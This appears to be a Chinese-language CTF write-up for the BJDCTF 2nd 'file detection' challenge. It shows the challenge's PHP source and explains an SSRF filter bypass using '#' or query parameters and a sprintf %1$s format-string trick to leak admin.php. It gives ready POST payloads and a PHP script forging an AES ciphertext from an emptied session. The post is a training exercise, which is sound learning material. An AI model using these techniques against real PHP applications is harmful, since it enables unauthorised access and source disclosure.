[BJDCTF 2nd]文件探测

这两天刷题碰到了一道稍微有难度的题，记录一下，有一些点是未被掌握到的。

home.php:

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);

setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){

    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {

        die("forbidden");

    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){

        die("not now!");

    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){

        die("You! are! not! my! admin!");

    }

    if(preg_match("/^home$/i", $_GET['file'])){

        die("禁止套娃");

    }

    else{

        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){

            $file = $_GET['file'].".php";

        }

        else{

            $file = $_GET['file'].".fxxkyou!";

        }

        echo "现在è¿é—的是 ".$file . "<br>";

        require $file;

    }

} else {

    echo "<script>location.href='./home.php?file=system'</script>";

}

根据条件得到system.php:

<?php

error_reporting(0);

if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){

    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";

    header("Refresh:0.1;url=index.php");

    die;

}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';

$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';

$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>

·····································//中间为html。

<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';

$filter2 = '/.?f.?l.?a.?g.?/i';

if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {

    $url = $_POST['q2'].".y1ng.txt";

    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){

        die($str2);

    }

    if (preg_match($filter2, $url)) {

        die($str3);

    }

    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {

        die($str4);

    }

    $detect = @file_get_contents($url, false);

    print(sprintf("$url method&content_size:$method%d", $detect));

}

?>

在这里他要求我们q2一定要有http://127.0.0.1/，但同时后面不能跟上flag文件，但是可以看到admin文件。

加入我们跟上admin文件，但他后面跟上了一个tctxt文件进行了打乱，对于这种我们可以加上#即锚点,或者是加上参数。

第二个点：这里有个%d需要注意，在linux当中，这是显示二进制的，在这里，%d会将$detect（即源码）以二进制数的形式输出，所以并不能得到我们需要的源码，所以我们要让他以%s进行显示输出。

%s%或者是%1$s

第一个原理是利用到了sprintf函数，sprintf()函数中%可以转义掉%,print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义，因此失去意义

第二个原理是：原理是%1$s会将第一个参数用string类型输出
payload:q1=22&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
payload：q1=1&q2=http%3A%2F%2F127.0.0.1%2Fadmin.php?a=1&q3=GET%251%24s

<php

error_reporting(0);

session_start();

$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)

{

    $method = 'AES-128-CBC';

    $iv = md5($_SERVER['REMOTE_ADDR'],true);

    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

}

function Check()

{

    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))

        return true;

    else

        return false;

}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {

    highlight_file(__FILE__);

} else {

    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];

}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {

    $decr = $_GET['decrypt'];

    if (Check()){

        $data = $_SESSION['secret'];

        include 'flag_2sln2ndln2klnlksnf.php';

        $cipher = aesEn($data, 'y1ng');

        if ($decr === $cipher){

            echo WHAT_YOU_WANT;

        } else {

            die('爬');

        }

    } else{

        header("Refresh:0.1;url=index.php");

    }

} else {

    //I heard you can break PHP mt_rand seed

    mt_srand(rand(0,9999999));

    $length = mt_rand(40,80);

    $_SESSION['secret'] = bin2hex(random_bytes($length));

}

?>

这里我们进行代码的分析，发现只要不存在session ，且其他的两个cookie照常不变，那么我们就能进行到左后的判断了，这个时候我们将空加密的密钥拿出来，使用get访问满足相等的条件

构造脚本：

function aesEn($data, $key){

    $method = 'AES-128-CBC';

    $iv = md5('IP',true);

    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

}

echo aesEn('', 'y1ng') //照着admin.php来就行，

[BJDCTF 2nd]文件探测的更多相关文章

  1. [BUUOJ记录] [BJDCTF 2nd]文件探测

    感觉算是这次比赛里面综合性很强的一道题了,主要考察SSRF.PHP伪协议包含.挖掘逻辑漏洞和一个小tirck.委屈的是第一天晚上就做到了最后一步,想到了SESSION置空即可绕过,但是最后读Flag姿 ...

  2. [BJDCTF 2nd]duangShell 反弹shell

    [BJDCTF 2nd]duangShell   [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...

  3. [BJDCTF 2nd]duangShell

    [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:​使用vi编辑器打开文件时,会 ...

  4. [BJDCTF 2nd]xss之光

    [BJDCTF 2nd]xss之光 进入网址之后发现存在.git泄露,将源码下载下来,只有index.php文件 <?php $a = $_GET['yds_is_so_beautiful']; ...

  5. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF，不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

  6. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  7. [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃

    [BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...

  8. [BUUCTF]PWN——[BJDCTF 2nd]test

    [BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...

  9. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

随机推荐

  1. HTTP基本原理-Network各列标签的含义

    第一列 Name:请求的名称,一般会将URL的最后一部分内容当作名称 第二列 Status:响应的状态码,显示为 200,则代表相应是正常的.通过状态码,我们可以判断发送了请求之后是否得到了正常的相应 ...

  2. Hadoop 2.6.1 集群安装配置教程

    集群环境: 192.168.56.10 master 192.168.56.11 slave1 192.168.56.12 slave2 下载安装包/拷贝安装包 # 存放路径: cd /usr/loc ...

  3. 精讲响应式WebClient第6篇-请求失败自动重试机制，强烈建议你看一看

    本文是精讲响应式WebClient第6篇,前篇的blog访问地址如下: 精讲响应式webclient第1篇-响应式非阻塞IO与基础用法 精讲响应式WebClient第2篇-GET请求阻塞与非阻塞调用方 ...

  4. JMH--一款由OpenJDK开发的基准测试工具

    什么是JMH JMH 是 OpenJDK 团队开发的一款基准测试工具,一般用于代码的性能调优,精度甚至可以达到纳秒级别,适用于 java 以及其他基于 JVM 的语言.和 Apache JMeter ...

  5. python爬取B站视频弹幕分析并制作词云

    1.分析网页 视频地址: www.bilibili.com/video/BV19E… 本身博主同时也是一名up主,虽然已经断更好久了,但是不妨碍我爬取弹幕信息来分析呀. 这次我选取的是自己 唯一的爆款 ...

  6. 程序员软件开发最好的IDE集成工具eclipse各个版本的详细介绍。详细介绍，送给初学者的朋友

    对于刚接触软件开发的初学者,在下载eclipse时,对官网上面提供的各种版本的选择犹豫不决.下面将对常用的几个版本进行介绍. Eclipse版本 Eclipse Standard 该版本是eclips ...

  7. android 数据绑定(6)自定义绑定方法、双向数据绑定

    1.官方文档 https://developer.android.com/topic/libraries/data-binding/binding-adapters https://developer ...

  8. 阿里面试：dubbo的服务引用过程

    点赞再看,养成习惯,微信搜一搜[三太子敖丙]关注这个喜欢写情怀的程序员. 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试完整考点.资料以及我的系 ...

  9. 使用Json-lib将对象和Json互转

    工程下载地址: https://files.cnblogs.com/files/xiandedanteng/jsonSample20200308.rar Depenency: <!-- 使用js ...

  10. Nginx 路由--Location的使用

    一. 路由--Location的使用 9.1. Location语法规则 语法规则: location [=|~|~*|^~] /uri/ {… } 首先匹配 =,其次匹配^~,其次是按文件中顺序的正 ...